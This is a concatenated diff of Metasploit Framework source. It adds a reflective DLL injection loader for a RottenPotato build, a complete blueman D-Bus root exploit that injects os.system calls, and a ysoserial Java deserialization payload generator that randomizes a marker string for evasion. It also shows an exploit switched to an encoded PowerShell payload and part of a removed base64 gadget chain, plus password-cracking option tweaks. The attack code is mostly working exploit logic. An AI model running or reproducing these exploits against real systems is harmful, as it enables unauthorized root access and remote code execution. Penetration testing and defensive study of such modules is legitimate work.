// uiValueA = the VA for this relocation block
uiValueA = (uiBaseAddress + ((PIMAGE_BASE_RELOCATION)uiValueC)->VirtualAddress);
// uiValueB = number of entries in this relocation block
uiValueB = (((PIMAGE_BASE_RELOCATION)uiValueC)->SizeOfBlock - sizeof(IMAGE_BASE_RELOCATION)) / sizeof(IMAGE_RELOC);
// uiValueD is now the first entry in the current relocation block
uiValueD = uiValueC + sizeof(IMAGE_BASE_RELOCATION);
// we itterate through all the entries in the current block...
while (uiValueB--)
{
// perform the relocation, skipping IMAGE_REL_BASED_ABSOLUTE as required.
// we dont use a switch statement to avoid the compiler building a jump table
// which would not be very position independent!
if (((PIMAGE_RELOC)uiValueD)->type == IMAGE_REL_BASED_DIR64)
*(ULONG_PTR *)(uiValueA + ((PIMAGE_RELOC)uiValueD)->offset) += uiLibraryAddress;
else if (((PIMAGE_RELOC)uiValueD)->type == IMAGE_REL_BASED_HIGHLOW)
*(DWORD *)(uiValueA + ((PIMAGE_RELOC)uiValueD)->offset) += (DWORD)uiLibraryAddress;
#ifdef WIN_ARM
// Note: On ARM, the compiler optimization /O2 seems to introduce an off by one issue, possibly a code gen bug. Using /O1 instead avoids this problem.
else if (((PIMAGE_RELOC)uiValueD)->type == IMAGE_REL_BASED_ARM_MOV32T)
{
register DWORD dwInstruction;
register DWORD dwAddress;
register WORD wImm;
// get the MOV.T instructions DWORD value (We add 4 to the offset to go past the first MOV.W which handles the low word)
dwInstruction = *(DWORD *)(uiValueA + ((PIMAGE_RELOC)uiValueD)->offset + sizeof(DWORD));
// flip the words to get the instruction as expected
dwInstruction = MAKELONG(HIWORD(dwInstruction), LOWORD(dwInstruction));
// sanity chack we are processing a MOV instruction...
if ((dwInstruction & ARM_MOV_MASK) == ARM_MOVT)
{
// pull out the encoded 16bit value (the high portion of the address-to-relocate)
wImm = (WORD)(dwInstruction & 0x000000FF);
wImm |= (WORD)((dwInstruction & 0x00007000) >> 4);
wImm |= (WORD)((dwInstruction & 0x04000000) >> 15);
wImm |= (WORD)((dwInstruction & 0x000F0000) >> 4);
// apply the relocation to the target address
dwAddress = ((WORD)HIWORD(uiLibraryAddress) + wImm) & 0xFFFF;
// now create a new instruction with the same opcode and register param.
dwInstruction = (DWORD)(dwInstruction & ARM_MOV_MASK2);
// patch in the relocated address...
dwInstruction |= (DWORD)(dwAddress & 0x00FF);
dwInstruction |= (DWORD)(dwAddress & 0x0700) << 4;
dwInstruction |= (DWORD)(dwAddress & 0x0800) << 15;
dwInstruction |= (DWORD)(dwAddress & 0xF000) << 4;
// now flip the instructions words and patch back into the code...
*(DWORD *)(uiValueA + ((PIMAGE_RELOC)uiValueD)->offset + sizeof(DWORD)) = MAKELONG(HIWORD(dwInstruction), LOWORD(dwInstruction));
}
}
#endif
else if (((PIMAGE_RELOC)uiValueD)->type == IMAGE_REL_BASED_HIGH)
*(WORD *)(uiValueA + ((PIMAGE_RELOC)uiValueD)->offset) += HIWORD(uiLibraryAddress);
else if (((PIMAGE_RELOC)uiValueD)->type == IMAGE_REL_BASED_LOW)
*(WORD *)(uiValueA + ((PIMAGE_RELOC)uiValueD)->offset) += LOWORD(uiLibraryAddress);
// get the next entry in the current relocation block
uiValueD += sizeof(IMAGE_RELOC);
}
// get the next entry in the relocation directory
uiValueC = uiValueC + ((PIMAGE_BASE_RELOCATION)uiValueC)->SizeOfBlock;
}
}
// STEP 6: call our images entry point
// uiValueA = the VA of our newly loaded DLL/EXE's entry point
uiValueA = (uiBaseAddress + ((PIMAGE_NT_HEADERS)uiHeaderValue)->OptionalHeader.AddressOfEntryPoint);
// We must flush the instruction cache to avoid stale code being used which was updated by our relocation processing.
pNtFlushInstructionCache((HANDLE)-1, NULL, 0);
// call our respective entry point, fudging our hInstance value
#ifdef REFLECTIVEDLLINJECTION_VIA_LOADREMOTELIBRARYR
// if we are injecting a DLL via LoadRemoteLibraryR we call DllMain and pass in our parameter (via the DllMain lpReserved parameter)
((DLLMAIN)uiValueA)((HINSTANCE)uiBaseAddress, DLL_PROCESS_ATTACH, lpParameter);
#else
// if we are injecting an DLL via a stub we call DllMain with no parameter
((DLLMAIN)uiValueA)((HINSTANCE)uiBaseAddress, DLL_PROCESS_ATTACH, NULL);
#endif
// STEP 8: return our new entry point address so whatever called us can call DllMain() if needed.
return uiValueA;
}
//===============================================================================================//
#ifndef REFLECTIVEDLLINJECTION_CUSTOM_DLLMAIN
BOOL WINAPI DllMain(HINSTANCE hinstDLL, DWORD dwReason, LPVOID lpReserved)
{
BOOL bReturnValue = TRUE;
switch (dwReason)
{
case DLL_QUERY_HMODULE:
if (lpReserved != NULL)
*(HMODULE *)lpReserved = hAppInstance;
break;
case DLL_PROCESS_ATTACH:
hAppInstance = hinstDLL;
break;
case DLL_PROCESS_DETACH:
case DLL_THREAD_ATTACH:
case DLL_THREAD_DETACH:
break;
}
return bReturnValue;
}
#endif
//===============================================================================================//

View File

@ -0,0 +1,204 @@
#pragma once
//===============================================================================================//
// Copyright (c) 2012, Stephen Fewer of Harmony Security (www.harmonysecurity.com)
// All rights reserved.
//
// Redistribution and use in source and binary forms, with or without modification, are permitted
// provided that the following conditions are met:
//
// * Redistributions of source code must retain the above copyright notice, this list of
// conditions and the following disclaimer.
//
// * Redistributions in binary form must reproduce the above copyright notice, this list of
// conditions and the following disclaimer in the documentation and/or other materials provided
// with the distribution.
//
// * Neither the name of Harmony Security nor the names of its contributors may be used to
// endorse or promote products derived from this software without specific prior written permission.
//
// THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND ANY EXPRESS OR
// IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND
// FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT OWNER OR
// CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR
// CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR
// SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY
// THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR
// OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE
// POSSIBILITY OF SUCH DAMAGE.
//===============================================================================================//
#ifndef _REFLECTIVEDLLINJECTION_REFLECTIVELOADER_H
#define _REFLECTIVEDLLINJECTION_REFLECTIVELOADER_H
//===============================================================================================//
#define WIN32_LEAN_AND_MEAN
#include <windows.h>
#include <Winsock2.h>
#include <intrin.h>
#include "ReflectiveDLLInjection.h"
typedef HMODULE(WINAPI * LOADLIBRARYA)(LPCSTR);
typedef FARPROC(WINAPI * GETPROCADDRESS)(HMODULE, LPCSTR);
typedef LPVOID(WINAPI * VIRTUALALLOC)(LPVOID, SIZE_T, DWORD, DWORD);
typedef DWORD(NTAPI * NTFLUSHINSTRUCTIONCACHE)(HANDLE, PVOID, ULONG);
#define KERNEL32DLL_HASH 0x6A4ABC5B
#define NTDLLDLL_HASH 0x3CFA685D
#define LOADLIBRARYA_HASH 0xEC0E4E8E
#define GETPROCADDRESS_HASH 0x7C0DFCAA
#define VIRTUALALLOC_HASH 0x91AFCA54
#define NTFLUSHINSTRUCTIONCACHE_HASH 0x534C0AB8
#define IMAGE_REL_BASED_ARM_MOV32A 5
#define IMAGE_REL_BASED_ARM_MOV32T 7
#define ARM_MOV_MASK (DWORD)(0xFBF08000)
#define ARM_MOV_MASK2 (DWORD)(0xFBF08F00)
#define ARM_MOVW 0xF2400000
#define ARM_MOVT 0xF2C00000
#define HASH_KEY 13
//===============================================================================================//
#pragma intrinsic( _rotr )
__forceinline DWORD ror(DWORD d)
{
return _rotr(d, HASH_KEY);
}
__forceinline DWORD hash(char * c)
{
register DWORD h = 0;
do
{
h = ror(h);
h += *c;
} while (*++c);
return h;
}
//===============================================================================================//
typedef struct _UNICODE_STR
{
USHORT Length;
USHORT MaximumLength;
PWSTR pBuffer;
} UNICODE_STR, *PUNICODE_STR;
// WinDbg> dt -v ntdll!_LDR_DATA_TABLE_ENTRY
//__declspec( align(8) )
typedef struct _LDR_DATA_TABLE_ENTRY
{
//LIST_ENTRY InLoadOrderLinks; // As we search from PPEB_LDR_DATA->InMemoryOrderModuleList we dont use the first entry.
LIST_ENTRY InMemoryOrderModuleList;
LIST_ENTRY InInitializationOrderModuleList;
PVOID DllBase;
PVOID EntryPoint;
ULONG SizeOfImage;
UNICODE_STR FullDllName;
UNICODE_STR BaseDllName;
ULONG Flags;
SHORT LoadCount;
SHORT TlsIndex;
LIST_ENTRY HashTableEntry;
ULONG TimeDateStamp;
} LDR_DATA_TABLE_ENTRY, *PLDR_DATA_TABLE_ENTRY;
// WinDbg> dt -v ntdll!_PEB_LDR_DATA
typedef struct _PEB_LDR_DATA //, 7 elements, 0x28 bytes
{
DWORD dwLength;
DWORD dwInitialized;
LPVOID lpSsHandle;
LIST_ENTRY InLoadOrderModuleList;
LIST_ENTRY InMemoryOrderModuleList;
LIST_ENTRY InInitializationOrderModuleList;
LPVOID lpEntryInProgress;
} PEB_LDR_DATA, *PPEB_LDR_DATA;
// WinDbg> dt -v ntdll!_PEB_FREE_BLOCK
typedef struct _PEB_FREE_BLOCK // 2 elements, 0x8 bytes
{
struct _PEB_FREE_BLOCK * pNext;
DWORD dwSize;
} PEB_FREE_BLOCK, *PPEB_FREE_BLOCK;
// struct _PEB is defined in Winternl.h but it is incomplete
// WinDbg> dt -v ntdll!_PEB
typedef struct __PEB // 65 elements, 0x210 bytes
{
BYTE bInheritedAddressSpace;
BYTE bReadImageFileExecOptions;
BYTE bBeingDebugged;
BYTE bSpareBool;
LPVOID lpMutant;
LPVOID lpImageBaseAddress;
PPEB_LDR_DATA pLdr;
LPVOID lpProcessParameters;
LPVOID lpSubSystemData;
LPVOID lpProcessHeap;
PRTL_CRITICAL_SECTION pFastPebLock;
LPVOID lpFastPebLockRoutine;
LPVOID lpFastPebUnlockRoutine;
DWORD dwEnvironmentUpdateCount;
LPVOID lpKernelCallbackTable;
DWORD dwSystemReserved;
DWORD dwAtlThunkSListPtr32;
PPEB_FREE_BLOCK pFreeList;
DWORD dwTlsExpansionCounter;
LPVOID lpTlsBitmap;
DWORD dwTlsBitmapBits[2];
LPVOID lpReadOnlySharedMemoryBase;
LPVOID lpReadOnlySharedMemoryHeap;
LPVOID lpReadOnlyStaticServerData;
LPVOID lpAnsiCodePageData;
LPVOID lpOemCodePageData;
LPVOID lpUnicodeCaseTableData;
DWORD dwNumberOfProcessors;
DWORD dwNtGlobalFlag;
LARGE_INTEGER liCriticalSectionTimeout;
DWORD dwHeapSegmentReserve;
DWORD dwHeapSegmentCommit;
DWORD dwHeapDeCommitTotalFreeThreshold;
DWORD dwHeapDeCommitFreeBlockThreshold;
DWORD dwNumberOfHeaps;
DWORD dwMaximumNumberOfHeaps;
LPVOID lpProcessHeaps;
LPVOID lpGdiSharedHandleTable;
LPVOID lpProcessStarterHelper;
DWORD dwGdiDCAttributeList;
LPVOID lpLoaderLock;
DWORD dwOSMajorVersion;
DWORD dwOSMinorVersion;
WORD wOSBuildNumber;
WORD wOSCSDVersion;
DWORD dwOSPlatformId;
DWORD dwImageSubsystem;
DWORD dwImageSubsystemMajorVersion;
DWORD dwImageSubsystemMinorVersion;
DWORD dwImageProcessAffinityMask;
DWORD dwGdiHandleBuffer[34];
LPVOID lpPostProcessInitRoutine;
LPVOID lpTlsExpansionBitmap;
DWORD dwTlsExpansionBitmapBits[32];
DWORD dwSessionId;
ULARGE_INTEGER liAppCompatFlags;
ULARGE_INTEGER liAppCompatFlagsUser;
LPVOID lppShimData;
LPVOID lpAppCompatInfo;
UNICODE_STR usCSDVersion;
LPVOID lpActivationContextData;
LPVOID lpProcessAssemblyStorageMap;
LPVOID lpSystemDefaultActivationContextData;
LPVOID lpSystemAssemblyStorageMap;
DWORD dwMinimumStackCommit;
} _PEB, *_PPEB;
typedef struct
{
WORD offset : 12;
WORD type : 4;
} IMAGE_RELOC, *PIMAGE_RELOC;
//===============================================================================================//
#endif
//===============================================================================================//

View File

@ -0,0 +1,30 @@
// dllmain.cpp : Defines the entry point for the DLL application.
#include "stdafx.h"
#include "ReflectiveLoader.h"
#include "MSFRottenPotato.h"
extern "C" HINSTANCE hAppInstance;
EXTERN_C IMAGE_DOS_HEADER __ImageBase;
BOOL WINAPI APIENTRY DllMain(HINSTANCE hinstDLL, DWORD dwReason, LPVOID lpReserved)
{
switch (dwReason)
{
case DLL_QUERY_HMODULE:
hAppInstance = hinstDLL;
if (lpReserved != NULL)
{
*(HMODULE *)lpReserved = hAppInstance;
}
break;
case DLL_PROCESS_ATTACH:
hAppInstance = hinstDLL;
EntryPoint(lpReserved);
break;
case DLL_THREAD_ATTACH:
case DLL_THREAD_DETACH:
case DLL_PROCESS_DETACH:
break;
}
return TRUE;
}

Binary file not shown.

View File

@ -0,0 +1,8 @@
// stdafx.cpp : source file that includes just the standard includes
// MSFRottenPotato.pch will be the pre-compiled header
// stdafx.obj will contain the pre-compiled type information
#include "stdafx.h"
// TODO: reference any additional headers you need in STDAFX.H
// and not in this file

View File

@ -0,0 +1,16 @@
// stdafx.h : include file for standard system include files,
// or project specific include files that are used frequently, but
// are changed infrequently
//
#pragma once
#include "targetver.h"
#define WIN32_LEAN_AND_MEAN // Exclude rarely-used stuff from Windows headers
// Windows Header Files:
#include <windows.h>
// TODO: reference additional headers your program requires here

View File

@ -0,0 +1,8 @@
#pragma once
// Including SDKDDKVer.h defines the highest available Windows platform.
// If you wish to build your application for a previous Windows platform, include WinSDKVer.h and
// set the _WIN32_WINNT macro to the platform you wish to support before including SDKDDKVer.h.
#include <SDKDDKVer.h>

View File

@ -369,12 +369,13 @@ module Metasploit
# This method takes all the options provided and streams the generated wordlist out
# to a {Rex::Quickfile} and returns the {Rex::Quickfile}.
#
# @param max_len [Integer] max length of a word in the wordlist, 0 default for ignored value
# @return [Rex::Quickfile] The {Rex::Quickfile} object that the wordlist has been written to
def to_file
def to_file(max_len)
valid!
wordlist_file = Rex::Quickfile.new("jtrtmp")
each_word do |word|
wordlist_file.puts word
wordlist_file.puts max_len == 0 ? word : word[0...max_len]
end
wordlist_file
end

View File

@ -30,7 +30,7 @@ module Metasploit
end
end
VERSION = "5.0.1"
VERSION = "5.0.2"
MAJOR, MINOR, PATCH = VERSION.split('.').map { |x| x.to_i }
PRERELEASE = 'dev'
HASH = get_hash

View File

@ -29,7 +29,7 @@ module Auxiliary::JohnTheRipper
OptPath.new('CUSTOM_WORDLIST', [false, 'The path to an optional custom wordlist']),
OptInt.new('ITERATION_TIMOUT', [false, 'The max-run-time for each iteration of cracking']),
OptPath.new('JOHN_PATH', [false, 'The absolute path to the John the Ripper executable']),
OptBool.new('KoreLogic', [false, 'Apply the KoreLogic rules to Wordlist Mode(slower)', false]),
OptBool.new('KORELOGIC', [false, 'Apply the KoreLogic rules to Wordlist Mode(slower)', false]),
OptBool.new('MUTATE', [false, 'Apply common mutations to the Wordlist (SLOW)', false]),
OptPath.new('POT', [false, 'The path to a John POT file to use instead of the default']),
OptBool.new('USE_CREDS', [false, 'Use existing credential data saved in the database', true]),
@ -79,9 +79,10 @@ module Auxiliary::JohnTheRipper
# This method instantiates a {Metasploit::Framework::JtR::Wordlist}, writes the data
# out to a file and returns the {Rex::Quickfile} object.
#
# @param max_len [Integer] max length of a word in the wordlist, 0 default for ignored value
# @return [nilClass] if there is no active framework db connection
# @return [Rex::Quickfile] if it successfully wrote the wordlist to a file
def wordlist_file
def wordlist_file(max_len = 0)
return nil unless framework.db.active
wordlist = Metasploit::Framework::JtR::Wordlist.new(
custom_wordlist: datastore['CUSTOM_WORDLIST'],
@ -93,7 +94,7 @@ module Auxiliary::JohnTheRipper
use_common_root: datastore['USE_ROOT_WORDS'],
workspace: myworkspace
)
wordlist.to_file
wordlist.to_file(max_len)
end
end

View File

@ -32,7 +32,7 @@ module Msf::Post::File
# and 2k
return session.shell_command_token("echo %CD%")
else
return session.shell_command_token("pwd")
return session.shell_command_token("pwd").to_s.strip
end
end
end

View File

@ -28,3 +28,6 @@ require 'msf/util/host'
# DBManager helpers
require 'msf/util/db_manager'
# Java deserialization payload generators
require 'msf/util/java_deserialization'

View File

@ -0,0 +1,66 @@
module Msf
module Util
require 'json'
# TODO:
# Support ysoserial alongside ysoserial-modified payloads (including cmd, bash, powershell, none)
class JavaDeserialization
PAYLOAD_FILENAME = "ysoserial_payloads.json"
def self.ysoserial_payload(payload_name, command=nil)
# Open the JSON file and parse it
begin
path = File.join(Msf::Config.data_directory, PAYLOAD_FILENAME)
json = JSON.parse(File.read(path))
rescue Errno::ENOENT, JSON::ParserError
raise RuntimeError, "Unable to load JSON data from 'data/#{PAYLOAD_FILENAME}'"
end
raise ArgumentError, "#{payload_name} payload not found in ysoserial payloads" if json[payload_name].nil?
# Extract the specified payload (status, lengthOffset, bufferOffset, bytes)
payload = json[payload_name]
# Based on the status, we'll raise an exception, return a static payload, or
# generate a dynamic payload with modifications at the specified offsets
case payload['status']
when 'unsupported'
# This exception will occur most commonly with complex payloads that require more than a string
raise ArgumentError, 'ysoserial payload is unsupported'
when 'static'
# TODO: Consider removing 'static' functionality, since ysoserial doesn't currently use it
return Rex::Text.decode_base64(payload['bytes'])
when 'dynamic'
raise ArgumentError, 'missing command parameter' if command.nil?
bytes = Rex::Text.decode_base64(payload['bytes'])
# Insert buffer
buffer_offset = payload['bufferOffset'].first #TODO: Do we ever need to support multiple buffers?
bytes[buffer_offset - 1] += command
# Overwrite length (multiple times, if necessary)
length_offsets = payload['lengthOffset']
length_offsets.each do |length_offset|
# Extract length as a 16-bit unsigned int, then add the length of the command string
length = bytes[(length_offset-1)..length_offset].unpack('n').first
length += command.length.ord
length = [length].pack("n")
bytes[(length_offset-1)..length_offset] = length
end
# Replace "ysoserial\/Pwner" timestamp string with randomness for evasion
bytes.gsub!(/ysoserial\/Pwner00000000000000/, Rex::Text.rand_text_alphanumeric(29))
return bytes
else
raise RuntimeError, 'Malformed JSON file'
end
end
end
end
end

View File

@ -527,6 +527,8 @@ class Console::CommandDispatcher::Android
dest = val
when '-t'
body = val
# Replace \n with a newline character to allow multi-line messages
body.gsub!('\n',"\n")
when '-r'
dr = true
end

View File

@ -45,7 +45,7 @@ class MetasploitModule < Msf::Auxiliary
cracker_instance.format = format
print_status "Cracking #{format} hashes in normal wordlist mode..."
# Turn on KoreLogic rules if the user asked for it
if datastore['KoreLogic']
if datastore['KORELOGIC']
cracker_instance.rules = 'KoreLogicRules'
print_status "Applying KoreLogic ruleset..."
end

View File

@ -60,7 +60,7 @@ class MetasploitModule < Msf::Auxiliary
cracker_instance.format = format
print_status "Cracking #{format} hashes in normal wordlist mode..."
# Turn on KoreLogic rules if the user asked for it
if datastore['KoreLogic']
if datastore['KORELOGIC']
cracker_instance.rules = 'KoreLogicRules'
print_status "Applying KoreLogic ruleset..."
end

View File

@ -47,7 +47,7 @@ class MetasploitModule < Msf::Auxiliary
cracker_instance.format = format
print_status "Cracking #{format} hashes in normal wordlist mode..."
# Turn on KoreLogic rules if the user asked for it
if datastore['KoreLogic']
if datastore['KORELOGIC']
cracker_instance.rules = 'KoreLogicRules'
print_status "Applying KoreLogic ruleset..."
end

View File

@ -45,7 +45,7 @@ class MetasploitModule < Msf::Auxiliary
cracker_instance.format = format
print_status "Cracking #{format} hashes in normal wordlist mode..."
# Turn on KoreLogic rules if the user asked for it
if datastore['KoreLogic']
if datastore['KORELOGIC']
cracker_instance.rules = 'KoreLogicRules'
print_status "Applying KoreLogic ruleset..."
end

View File

@ -48,7 +48,7 @@ class MetasploitModule < Msf::Auxiliary
print_status "Cracking #{format} hashes in normal wordlist mode..."
# Turn on KoreLogic rules if the user asked for it
if datastore['KoreLogic']
if datastore['KORELOGIC']
cracker_instance.rules = 'KoreLogicRules'
print_status "Applying KoreLogic ruleset..."
end

View File

@ -51,7 +51,7 @@ class MetasploitModule < Msf::Auxiliary
cracker_instance.format = format
print_status "Cracking #{format} hashes in normal wordlist mode..."
# Turn on KoreLogic rules if the user asked for it
if datastore['KoreLogic']
if datastore['KORELOGIC']
cracker_instance.rules = 'KoreLogicRules'
print_status "Applying KoreLogic ruleset..."
end

View File

@ -19,11 +19,14 @@ class MetasploitModule < Msf::Exploit::Remote
'License' => MSF_LICENSE,
'Author' =>
[
'Fengwei Zhang', # Original discovery
'Imran Rashid',
'aRe00t', # Proof of concept
'Green-m <greenm.xxoo[at]gmail.com>' # Metasploit module
],
'References' =>
[
['CVE', '2018-11770'], # see https://spark.apache.org/security.html
['URL', 'https://www.jianshu.com/p/a080cb323832'],
['URL', 'https://github.com/vulhub/vulhub/tree/master/spark/unacc']
],

View File

@ -0,0 +1,161 @@
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
class MetasploitModule < Msf::Exploit::Local
Rank = ExcellentRanking
include Msf::Post::File
include Msf::Post::Linux::Priv
include Msf::Post::Linux::System
include Msf::Exploit::EXE
include Msf::Exploit::FileDropper
def initialize(info = {})
super(update_info(info,
'Name' => 'blueman set_dhcp_handler D-Bus Privilege Escalation',
'Description' => %q{
This module attempts to gain root privileges by exploiting a Python
code injection vulnerability in blueman versions prior to 2.0.3.
The `org.blueman.Mechanism.EnableNetwork` D-Bus interface exposes the
`set_dhcp_handler` function which uses user input in a call to `eval`,
without sanitization, resulting in arbitrary code execution as root.
This module has been tested successfully with blueman version 1.23
on Debian 8 Jessie (x64).
},
'License' => MSF_LICENSE,
'Author' =>
[
'the grugq', # Discovery and exploit
'bcoles' # Metasploit
],
'DisclosureDate' => '2015-12-18',
'References' =>
[
['BID', '79688'],
['CVE', '2015-8612'],
['URL', 'https://twitter.com/thegrugq/status/677809527882813440'],
['URL', 'https://github.com/blueman-project/blueman/issues/416'],
['URL', 'https://www.openwall.com/lists/oss-security/2015/12/18/6'],
['URL', 'https://www.debian.org/security/2015/dsa-3427'],
['URL', 'https://bugs.mageia.org/show_bug.cgi?id=17361'],
['URL', 'http://www.slackware.com/security/viewer.php?l=slackware-security&y=2015&m=slackware-security.421085']
],
'Platform' => ['linux'],
'Arch' =>
[
ARCH_X86,
ARCH_X64,
ARCH_ARMLE,
ARCH_AARCH64,
ARCH_PPC,
ARCH_MIPSLE,
ARCH_MIPSBE
],
'SessionTypes' => ['shell', 'meterpreter'],
'Targets' => [['Auto', {}]],
'DefaultTarget' => 0))
register_advanced_options [
OptBool.new('ForceExploit', [false, 'Override check result', false]),
OptString.new('WritableDir', [true, 'A directory where we can write files', '/tmp'])
]
end
def base_dir
datastore['WritableDir'].to_s
end
def upload(path, data)
print_status "Writing '#{path}' (#{data.size} bytes) ..."
rm_f path
write_file path, data
register_file_for_cleanup path
end
def upload_and_chmodx(path, data)
upload path, data
chmod path
end
def dbus_send(dest:, type:, path:, interface:, contents:)
cmd_exec "dbus-send --system --print-reply --dest=#{dest} --type=#{type} #{path} #{interface} #{contents}"
end
def check
unless command_exists? 'dbus-send'
vprint_error 'dbus-send is not installed. Exploitation will fail.'
return CheckCode::Safe
end
vprint_good 'dbus-send is installed'
res = dbus_send(
dest: 'org.blueman.Mechanism',
type: 'method_call',
path: '/',
interface: 'org.freedesktop.DBus.Introspectable.Introspect',
contents: ''
)
unless res.include? 'EnableNetwork'
vprint_error 'org.blueman.Mechanism.EnableNetwork D-Bus interface is not available'
return CheckCode::Safe
end
vprint_good 'org.blueman.Mechanism.EnableNetwork D-Bus interface is available'
res = execute_python('')
unless res.include? 'eval("nc.set_dhcp_handler(%s)" % dhcp_handler)'
vprint_error 'Target is not vulnerable'
return CheckCode::Safe
end
CheckCode::Vulnerable
end
def execute_python(code)
dbus_send(
dest: 'org.blueman.Mechanism',
type: 'method_call',
path: '/',
interface: 'org.blueman.Mechanism.EnableNetwork',
contents: "'string:[]' 'string:[]' 'string:#{code}'"
)
end
def exploit
unless check == CheckCode::Vulnerable
unless datastore['ForceExploit']
fail_with Failure::NotVulnerable, 'Target is not vulnerable. Set ForceExploit to override.'
end
print_warning 'Target does not appear to be vulnerable'
end
if is_root?
unless datastore['ForceExploit']
fail_with Failure::BadConfig, 'Session already has root privileges. Set ForceExploit to override.'
end
end
unless writable? base_dir
fail_with Failure::BadConfig, "#{base_dir} is not writable"
end
payload_name = ".#{rand_text_alphanumeric 10..15}"
payload_path = "#{base_dir}/#{payload_name}"
upload_and_chmodx payload_path, generate_payload_exe
print_status 'Executing payload...'
res = execute_python "os.system(\"#{payload_path}&\")"
vprint_line res
unless res.include? 'eval("nc.set_dhcp_handler(%s)" % dhcp_handler)'
fail_with Failure::NotVulnerable, 'The target is not vulnerable'
end
if res.include? 'SyntaxError:'
fail_with Failure::Unknown, 'Payload execution failed due to syntax error'
end
end
end

View File

@ -97,7 +97,8 @@ class MetasploitModule < Msf::Exploit::Remote
end
def exploit
data = set_payload
cmd = cmd_psh_payload(payload.encoded, payload_instance.arch.first, {remove_comspec: true, encode_final_payload: true})
data = ::Msf::Util::JavaDeserialization.ysoserial_payload("JSON1",cmd)
print_status "Sending serialized Java object (#{data.length} bytes)..."
res = send_request_cgi({
@ -106,49 +107,4 @@ class MetasploitModule < Msf::Exploit::Remote
'data' => data
})
end
def set_payload
# JSON1 Serialized Stream start, middle and end, base64 encoded (from https://github.com/pimps/ysoserial-modified)
# Recreation steps:
# wget https://github.com/pimps/ysoserial-modified/raw/master/target/ysoserial-modified.jar
# java -jar ysoserial-modified.jar JSON1 cmd "" > jsonss
# dd bs=1 if=jsonss of=jsonss_start skip=0 count=2645
# dd bs=1 if=jsonss of=jsonss_mid skip=2647 count=1230
# dd bs=1 if=jsonss of=jsonss_end skip=3879
# for i in `ls jsonss_*`; do
# cat $i | base64 -w0 > $i.b64
# echo "$i=\"`cat $i.b64 `\""
# done
# NOTE: The `jsonss_end` contains two randomized strings (eg. "ysoserial/Pwner141434911504672")
jsonss_start = Rex::Text.decode_base64 "rO0ABXNyABFqYXZhLnV0aWwuSGFzaE1hcAUH2sHDFmDRAwACRgAKbG9hZEZhY3RvckkACXRocmVzaG9sZHhwP0AAAAAAAAB3CAAAAAIAAAACc3IALWphdmF4Lm1hbmFnZW1lbnQub3Blbm1iZWFuLlRhYnVsYXJEYXRhU3VwcG9ydE9iDqhrlxdDAgACTAAHZGF0YU1hcHQAD0xqYXZhL3V0aWwvTWFwO0wAC3RhYnVsYXJUeXBldAAoTGphdmF4L21hbmFnZW1lbnQvb3Blbm1iZWFuL1RhYnVsYXJUeXBlO3hwc3IAFm5ldC5zZi5qc29uLkpTT05PYmplY3S4ZY8caCRw+QIAAloACm51bGxPYmplY3RMAApwcm9wZXJ0aWVzcQB+AAN4cABzcQB+AAA/QAAAAAAADHcIAAAAEAAAAAF0AAF0c30AAAACAChqYXZheC5tYW5hZ2VtZW50Lm9wZW5tYmVhbi5Db21wb3NpdGVEYXRhAB1qYXZheC54bWwudHJhbnNmb3JtLlRlbXBsYXRlc3hyABdqYXZhLmxhbmcucmVmbGVjdC5Qcm94eeEn2iDMEEPLAgABTAABaHQAJUxqYXZhL2xhbmcvcmVmbGVjdC9JbnZvY2F0aW9uSGFuZGxlcjt4cHNyAEFjb20uc3VuLmNvcmJhLnNlLnNwaS5vcmJ1dGlsLnByb3h5LkNvbXBvc2l0ZUludm9jYXRpb25IYW5kbGVySW1wbD9wFnM9MqjPAgACTAAYY2xhc3NUb0ludm9jYXRpb25IYW5kbGVycQB+AANMAA5kZWZhdWx0SGFuZGxlcnEAfgAMeHBzcgAXamF2YS51dGlsLkxpbmtlZEhhc2hNYXA0wE5cEGzA+wIAAVoAC2FjY2Vzc09yZGVyeHEAfgAAP0AAAAAAAAx3CAAAABAAAAABdnIAKGphdmF4Lm1hbmFnZW1lbnQub3Blbm1iZWFuLkNvbXBvc2l0ZURhdGEAAAAAAAAAAAAAAHhwc3IAMnN1bi5yZWZsZWN0LmFubm90YXRpb24uQW5ub3RhdGlvbkludm9jYXRpb25IYW5kbGVyVcr1DxXLfqUCAAJMAAxtZW1iZXJWYWx1ZXNxAH4AA0wABHR5cGV0ABFMamF2YS9sYW5nL0NsYXNzO3hwc3EAfgAAP0AAAAAAAAx3CAAAABAAAAABdAAQZ2V0Q29tcG9zaXRlVHlwZXNyAChqYXZheC5tYW5hZ2VtZW50Lm9wZW5tYmVhbi5Db21wb3NpdGVUeXBltYdG61oHn0ICAAJMABFuYW1lVG9EZXNjcmlwdGlvbnQAE0xqYXZhL3V0aWwvVHJlZU1hcDtMAApuYW1lVG9UeXBlcQB+ABp4cgAjamF2YXgubWFuYWdlbWVudC5vcGVubWJlYW4uT3BlblR5cGWAZBqR6erePAIAA0wACWNsYXNzTmFtZXQAEkxqYXZhL2xhbmcvU3RyaW5nO0wAC2Rlc2NyaXB0aW9ucQB+ABxMAAh0eXBlTmFtZXEAfgAceHB0AChqYXZheC5tYW5hZ2VtZW50Lm9wZW5tYmVhbi5Db21wb3NpdGVEYXRhdAABYnQAAWFzcgARamF2YS51dGlsLlRyZWVNYXAMwfY+LSVq5gMAAUwACmNvbXBhcmF0b3J0ABZMamF2YS91dGlsL0NvbXBhcmF0b3I7eHBwdwQAAAABcQB+ACBxAH4AIHhzcQB+ACFwdwQAAAABcQB+ACBzcgAlamF2YXgubWFuYWdlbWVudC5vcGVubWJlYW4uU2ltcGxlVHlwZR6/T/jcZXgnAgAAeHEAfgAbdAARamF2YS5sYW5nLkludGVnZXJxAH4A